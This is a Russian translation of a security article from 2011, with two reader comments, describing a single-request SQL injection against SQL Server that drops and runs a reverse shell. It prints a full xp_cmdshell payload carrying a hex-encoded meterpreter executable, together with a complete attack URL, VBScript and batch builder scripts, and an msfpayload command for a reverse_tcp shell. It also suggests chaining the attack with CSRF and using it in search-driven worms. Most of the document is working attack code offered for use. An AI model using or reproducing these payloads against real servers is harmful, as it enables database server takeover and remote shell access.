07.10.2011

Взлом одним кликом

image

Идея данной атаки очень проста: запуск реверс-шелла через SQL-инъекцию одним запросом без использования дополнительных каналов вроде TFTP или FTP, чтобы передать начальную полезную нагрузку.

  Автор: Феррух Мавитуна

Идея данной атаки очень проста: запуск реверс-шелла через SQL-инъекцию одним запросом без использования дополнительных каналов вроде TFTP или FTP, чтобы передать начальную полезную нагрузку. Например, следующий код запустит реверс-шелл* для адреса 192.168.0.1:

1;exec master..xp_cmdshell 'echo
d="4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F
742062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x03
50x024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505
830x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332
E303300555058210D090209F0B5FC11B9DF8C86A641x021D02x0326x0226x02EDB7FFDBFF31C0B9002040006830100464FF30648920
506A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560B535556578B6C2418
8B453C8B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB97EDFF0D01C7EBF23B7C241475E
12324668B0C4B081CFFDFDE2E8B0429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B040853688E4E0EECFF
D689C709F3DFBE7C54CAAF9181EC00018A5057565389E5E81FFFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B57533
25F33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE273DDB6FDF22B2754FF370D28835000
40010C6FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A00100C5006A8B2E0AE851A1
8FFD3B81141B62A1F83AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC726F
636573735669727475616C0F746563740FF92FCF1050454C010300176FAD27E000788334FF0F030B0102380002221003EDBAB724F20
B1F04060100DF7B369B07501775F90600205830D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E7264
6174610C03EC9B9D3D64C2402E692784104B4188293B2427C029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A
064688074701DB75078B1E83EEFC11DB72EDB801x0301DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8
03720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEF
C11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF
908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1
C01086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x0295
8A074708C074DC89F95748F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x02505
46A045357FFD58D879F01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x02287
0x165070x025E70x026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x024765745
0726F6341646472657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x03
4578697450726F63657373xFFx5A":W CreateObject^("Scripting.FileSystemObject"^).GetSpecialFolder^(2^) ^&
"\wr.exe", R^(d^):Function R^(t^):Dim Arr^(^):For i=0 To Len^(t^)-1 Step 2:Redim Preserve
Ar^(S^):FB=Mid^(t,i+1,1^):SB=Mid^(t,i+2,1^):HX=FB ^& SB:If FB="x" Then:NB=Mid^(t,i+3,1^):L=H^(SB ^&
NB^):For j=0 To L:Redim Preserve Ar^(S+^(j*2^)+1^):Ar^(S+j^)=0:Ar^(S+j+1^)=0:Next:i=i+1:S=S+L:Else:If
Len^(HX^)^>0 Then:Ar^(S^)=H^(HX^):End If:S=S+1:End If:Next:Redim Preserve Ar^(S-2^):R=Ar:End
Function:Function H^(HX^):H=CLng^("&H" ^& HX^):End Function:Sub W^(FN, Buf^):Dim aBuf:Size =
UBound^(Buf^):ReDim aBuf^(Size\2^):For I = 0 To Size - 1 Step
2:aBuf^(I\2^)=ChrW^(Buf^(I+1^)*256+Buf^(I^)^):Next:If I=Size Then:aBuf^(I\2^)=ChrW^(Buf^(I^)^):End
If:aBuf=Join^(aBuf,""^):Set bS=CreateObject^("ADODB.Stream"^):bS.Type=1:bS.Open:With
CreateObject^("ADODB.Stream"^):.Type=2:.Open:.WriteText aBuf:.Position=2:.CopyTo bS:.Close:End
With:bS.SaveToFile FN,2:bS.Close:Set bS=Nothing:End Sub>p.vbs && p.vbs && %TEMP%\wr.exe'

Подобные атаки были популярны некоторое время, но их реализация была или чересчур сложной1, или полагалась на уже установленные инструменты2 и недостатки фильтрации исходящего трафика целевой системы. Вот преимущества данного, основанного на единственном запросе, подхода:

  • Быстрее. Всего один запрос.
  • Проще. Не нужны специальные инструменты, все можно сделать вручную с помощью браузера или простого MITM прокси, просто скопируйте и вставьте полезную нагрузку.
  • CSRF-совместимый. Можно сформировать ссылку и провести CSRF-атаку, которая даст вам реверс-шелл3.
  • Изменяемый. Можете поменять полезную нагрузку.
  • Компактный. Обычно не более 3,5 тысяч символов4.
  • Не нуждается в конкретных приложениях, установленных на целевой системе, вроде FTP, TFTP или debug.exe.5
  • Легко автоматизировать.

ЦЕЛЕВАЯ СИСТЕМА

Представленная здесь атака работает только с SQL-инъекциями в SQL Server при соединениях с правами SA (администратора). Но теория, очевидно, может быть применима и к другим базам данных.

РЕАЛИЗАЦИЯ

Существует очевидная проблема, связанная с передачей первоначального двоичного файла по HTTP. Как записывать двоичные файлы в SQL-инъекции? Для этого существует несколько приемов, но ни одного достаточно простого. Раз мы не можем напрямую выполнять и записывать двоичные данные на диск, нужно закодировать их в другом формате, например base64, а затем раскодировать и записать в двоичном виде на целевой системе.

Для решения этой проблемы я использовал VBScript, чтобы кодировать и декодировать двоичные данные. Поскольку VBScript присутствует изначально во всех Windows-системах и практически никогда не удаляется, это достаточно надежное и мощное решение. Итак:

  1. Сгенерируйте шестнадцатеричное представление "shell.exe" на своей локальной системе.
  2. Напишите на VBScript скрипт, который сможет правильно восстановить двоичный файл из шестнадцатеричного представления.
  3. Поместите все это в одну строку.
  4. Используйте получившуюся строку в SQL-инъекции.

ПРОВЕДЕНИЕ АТАКИ

Проведение атаки нуждается в двух скриптах: первый закодирует двоичный код в шестнадцатеричном формате, а второй будет передан на целевую систему, чтобы раскодировать этот код и записать в файл.
1. Создание шестнадцатеричного представления данных.
Это простой шаг. Сожмите с помощью UPX оригинальный исполняемый файл (например, реверс-шелл фреймворка metasploit), затем считайте двоичные данные и запишите их в шестнадцатеричном формате. Однако даже после сжатия данные можно оптимизировать: на выходе получится множество нулевых символов. Представленная реализация это учитывает, используя простое сжатие, которое делает строку короче. Вот результат работы скрипта BuildText.vbs на взятом в качестве примера реверс-шелле meterpreter:

4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742
062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x0350x
024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505830
x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332E30
3300555058210D090209F0B5FC11B9DF8C86A641x021D02x0326x0226x02EDB7FFDBFF31C0B9002040006830100464FF30648920506
A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560B535556578B6C24188B4
53C8B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB97EDFF0D01C7EBF23B7C241475E123
24668B0C4B081CFFDFDE2E8B0429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B040853688E4E0EECFFD68
9C709F3DFBE7C54CAAF9181EC00018A5057565389E5E81FFFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B5753325F
33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE273DDB6FDF22B2754FF370D28835000400
10C6FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A00100C5006A8B2E0AE851A18FF
D3B81141B62A1F83AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC726F636
573735669727475616C0F746563740FF92FCF1050454C010300176FAD27E000788334FF0F030B0102380002221003EDBAB724F20B1F
04060100DF7B369B07501775F90600205830D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E7264617
4610C03EC9B9D3D64C2402E692784104B4188293B2427C029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A064
688074701DB75078B1E83EEFC11DB72EDB801x0301DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8037
20DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11
DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908
B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01
086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x02958A0
74708C074DC89F95748F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x0250546A
045357FFD58D879F01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x022870x1
65070x025E70x026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x024765745072
6F6341646472657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x03457
8697450726F63657373xFFx5A

2. Запись двоичного кода на диск
Скрипт Generatebinary.vbs восстанавливает двоичный файл во временную директорию на основе его шестнадцатеричного представления, созданного на первом шаге.

3. Собрать все это вместе
Bat-скрипт BuildAll.bat соединяет шестнадцатеричное представление и приготовленный скрипт, а затем делает результат однострочным. Теперь нам остается добавить получившуюся строку к SQL-инъекции, экранировать ее для использования внутри "echo" и закодировать в URL-формате. Окончательная атака имеет подобный вид:

http://example.com?sqlinjection.aso?id=1;exec master..xp_cmdshell 'echo
d="4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F
742062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x03
50x024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505
830x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332
E303300555058210D090209F0B5FC11B9DF8C86A641x021D02x0326x0226x02EDB7FFDBFF31C0B9002040006830100464FF30648920
506A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560B535556578B6C2418
8B453C8B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB97EDFF0D01C7EBF23B7C241475E
12324668B0C4B081CFFDFDE2E8B0429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B040853688E4E0EECFF
D689C709F3DFBE7C54CAAF9181EC00018A5057565389E5E81FFFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B57533
25F33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE273DDB6FDF22B2754FF370D28835000
40010C6FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A00100C5006A8B2E0AE851A1
8FFD3B81141B62A1F83AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC726F
636573735669727475616C0F746563740FF92FCF1050454C010300176FAD27E000788334FF0F030B0102380002221003EDBAB724F20
B1F04060100DF7B369B07501775F90600205830D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E7264
6174610C03EC9B9D3D64C2402E692784104B4188293B2427C029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A
064688074701DB75078B1E83EEFC11DB72EDB801x0301DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8
03720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEF
C11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF
908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1
C01086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x0295
8A074708C074DC89F95748F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x02505
46A045357FFD58D879F01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x02287
0x165070x025E70x026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x024765745
0726F6341646472657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x03
4578697450726F63657373xFFx5A":W CreateObject^("Scripting.FileSystemObject"^).GetSpecialFolder^(2^) ^&
"\wr.exe", R^(d^):Function R^(t^):Dim Arr^(^):For i=0 To Len^(t^)-1 Step 2:Redim Preserve
Ar^(S^):FB=Mid^(t,i+1,1^):SB=Mid^(t,i+2,1^):HX=FB ^& SB:If FB="x" Then:NB=Mid^(t,i+3,1^):L=H^(SB ^&
NB^):For j=0 To L:Redim Preserve Ar^(S+^(j*2^)+1^):Ar^(S+j^)=0:Ar^(S+j+1^)=0:Next:i=i+1:S=S+L:Else:If
Len^(HX^)^>0 Then:Ar^(S^)=H^(HX^):End If:S=S+1:End If:Next:Redim Preserve Ar^(S-2^):R=Ar:End
Function:Function H^(HX^):H=CLng^("&H" ^& HX^):End Function:Sub W^(FN, Buf^):Dim aBuf:Size =
UBound^(Buf^):ReDim aBuf^(Size\2^):For I = 0 To Size - 1 Step
2:aBuf^(I\2^)=ChrW^(Buf^(I+1^)*256+Buf^(I^)^):Next:If I=Size Then:aBuf^(I\2^)=ChrW^(Buf^(I^)^):End
If:aBuf=Join^(aBuf,""^):Set bS=CreateObject^("ADODB.Stream"^):bS.Type=1:bS.Open:With
CreateObject^("ADODB.Stream"^):.Type=2:.Open:.WriteText aBuf:.Position=2:.CopyTo bS:.Close:End
With:bS.SaveToFile FN,2:bS.Close:Set bS=Nothing:End Sub>p.vbs && p.vbs && %TEMP%\wr.exe'

После этого, чтобы поменять шелл-код на другой, нужно будет лишь сгенерировать его шестнадцатеричное представление с помощью BuildText.vbs (и вставить на место шестнадцатеричного представления прежнего кода).

ДРУГОЕ ЗНАЧЕНИЕ АТАКИ

Поскольку атака состоит из одного запроса, она может быть легко соединена с CSRF атаками. Если интерфейс администратора уязвим к SQL-инъекции и, в добавок, к CSRF-атаке, то атакующий может осуществить успешную CSRF-атаку, которая запустит реверс-шелл. До рассмотренной атаки это было невозможно.

ЧЕРВИ И АТАКИ С ИСПОЛЬЗОВАНИЕМ GOOGLE

В 2008 году сотни тысяч веб-приложений были взломаны из-за массовых атак типа SQL-инъекция. Похожая атака с еще большим эффектом может быть выполнена рассмотренным способом в один запрос. Такое поведение и простота использования также делают ее подходящим кандидатом на роль червя, который может запускать троян на всех атакованных системах и начинать искать новых жертв через Google или другую поисковую систему.

ПРИЛОЖЕНИЕ - СКРИПТЫ

[C1] - BUILDTEXT.VBS (Генерирует сжатое шестнадцатеричное представление двоичного файла)
'FM - 14/02/09
'Generate a zipped hex representation of a binary file

Set objArgs = WScript.Arguments

If objArgs.Count < 2 Then

Wscript.stdout.write "Usage:" & vbNewline
Wscript.stdout.write "-------------------------------" & vbNewline
Wscript.stdout.write "BuildText.vbs inputfile outputfile" & vbNewline
Wscript.stdout.write "input : binary file" & vbNewline
Wscript.stdout.write "output : text file (will be overwritten)" & vbNewline

Wscript.Quit 1
End If

input = objArgs(0)
output = objArgs(1)

BinaryText = ReadBinaryFile(input)
WriteFile output, "d=""" & Optimise(ByteArray2Text(BinaryText)) & """"

'Simply zip the 0s
Function Optimise(binary)
For i=0 To Len(binary) Step 2

Current = Mid(binary,i+1,2)
Out = Current

If Current = "00" Then

NextBit = "00"
repeat = 0

While NextBit = "00" AND repeat < 255

repeat = repeat + 1
NextBit = Mid(binary,i+1+(repeat*2),2)
Wend

If repeat > 1 Then
Out = "x" & Right("0" & Hex(repeat),2)

'Fix the normal loop position
i = i+(repeat*2)-2
End If

End If

OutTxt = OutTxt & Out

Next

Optimise = OutTxt

End Function

Function ByteArray2Text(varByteArray)
strData = ""
strBuffer = ""
HexS = ""

For lngCounter = 0 to UBound(varByteArray)
HexS = Hex(Ascb(Midb(varByteArray,lngCounter + 1, 1)))
If Len(HexS) < 2 Then HexS = "0" & HexS

strBuffer = strBuffer & HexS

'Keep strBuffer at 1k bytes maximum // REMOVABLE?
If lngCounter Mod 1000 = 0 Then
strData = strData & strBuffer
strBuffer = ""
End If
Next

ByteArray2Text = strData & strBuffer
End Function


Function ReadBinaryFile(FileName)
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1 'BinaryType
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function

Sub WriteFile(file, text)
Set myFSO = CreateObject("Scripting.FileSystemObject")
Set WriteStuff = myFSO.OpenTextFile(file, 2, True)
WriteStuff.Writeline(text)
WriteStuff.Close
SET WriteStuff = NOTHING
SET myFSO = NOTHING
End Sub



[C2] - GENERATEBINARY.VBS
W CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\wr.exe", R(d)

Function R(t)

Dim Arr()
For i=0 To Len(t)-1 Step 2
Redim Preserve Ar(S)

FB=Mid(t,i+1,1)
SB=Mid(t,i+2,1)
HX=FB & SB

If FB="x" Then
NB=Mid(t,i+3,1)
L=H(SB & NB)

  For j=0 To L
Redim Preserve Ar(S+(j*2)+1)
Ar(S+j)=0
Ar(S+j+1)=0
Next

i=i+1
S=S+L

Else
If Len(HX)>0 Then
Ar(S)=H(HX)
End If
S=S+1

End If


Next
Redim Preserve Ar(S-2)

R=Ar

End Function

Function H(HX)
H=CLng("&H" & HX)
End Function

Sub W(FN, Buf)
Dim aBuf
Size = UBound(Buf): ReDim aBuf(Size\2)
For I = 0 To Size - 1 Step 2
aBuf(I\2)=ChrW(Buf(I+1)*256+Buf(I))
Next
If I=Size Then
aBuf(I\2)=ChrW(Buf(I))
End If
aBuf=Join(aBuf,"")
Set bS=CreateObject("ADODB.Stream")
bS.Type=1:bS.Open
With CreateObject("ADODB.Stream")
.Type=2:.Open:.WriteText aBuf
.Position=2:.CopyTo bS:.Close
End With
bS.SaveToFile FN,2:bS.Close
Set bS=Nothing
End Sub


[C3] - BUILDALL.BAT
@echo off

echo Building Text Representation of Binary
BuildText.vbs Shell.exe Shell.txt

echo Generating New Payload Script
type GenerateBinary.vbs > _temp.tmp
type Shell.txt > GenerateBinary-Generated.vbs
type _temp.tmp >> GenerateBinary-Generated.vbs
del _temp.tmp

echo Packing the payload script
VbPacker GenerateBinary-Generated.vbs GenerateBinary-Generated.packed.vbs

echo Done!

PAUSE

[C4] GENERATESHELL.BAT
Generating a metasploit meterpreter shell
"C:\Program Files\Metasploit\Framework3\bin\ruby.exe"
C:\Users\youruser\AppData\Local\msf32\msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=6666 X >
Shell.exe
upx -9 Shell.exe

Echo Done!

PAUSE

* (примечание переводчика) реверс-шелл = reverse shell – шелл-код, который после активизации на компьютере-жертве пытается установить соединение с компьютером атакующего.
1 Использование debug.exe
2 FTP, TFTP, debug.exe
3 Если CSRF атака использует GET запросы, она должна быть короче 2083 символов, чтобы работать в Internet Explorer, все остальные популярные браузеры поддерживают до 8000 символов. Источник: http://www.boutell.com/newfaq/misc/urllength.html
4 Все веб-серверы поддерживают GET запросы до 8000 символов, если не применяют специальных инструментов. POST запросы должны срабатывать всегда. Источник: http://www.boutell.com/newfaq/misc/urllength.html
5 За исключением cscript.exe, который поставляется по умолчанию во всех Windows системах и никем не удаляется. cscript.exe - инструмент, ответственный за запуск скриптов, написанных на VBScript и JScript. Большая часть системы даже не будет работать без него. Установщики и многие другие приложения полагаются на то, что он активен, так что это ключевой компонент системы.

или введите имя

CAPTCHA
11-10-2011 12:00:36
любопытно, но права на выполнение расширенных процедур (xp_) у пользователя под которым трудиться веб-приложение - это все же редкость (наверное)...
0 |
Zelix
11-10-2011 16:10:08
Плюс xp_cmdshell по дефолту отключена на MS SQL 2005 и новее, так что сперва надо ее включить с правами SA, а уж потом ей что-либо скармливать.
0 |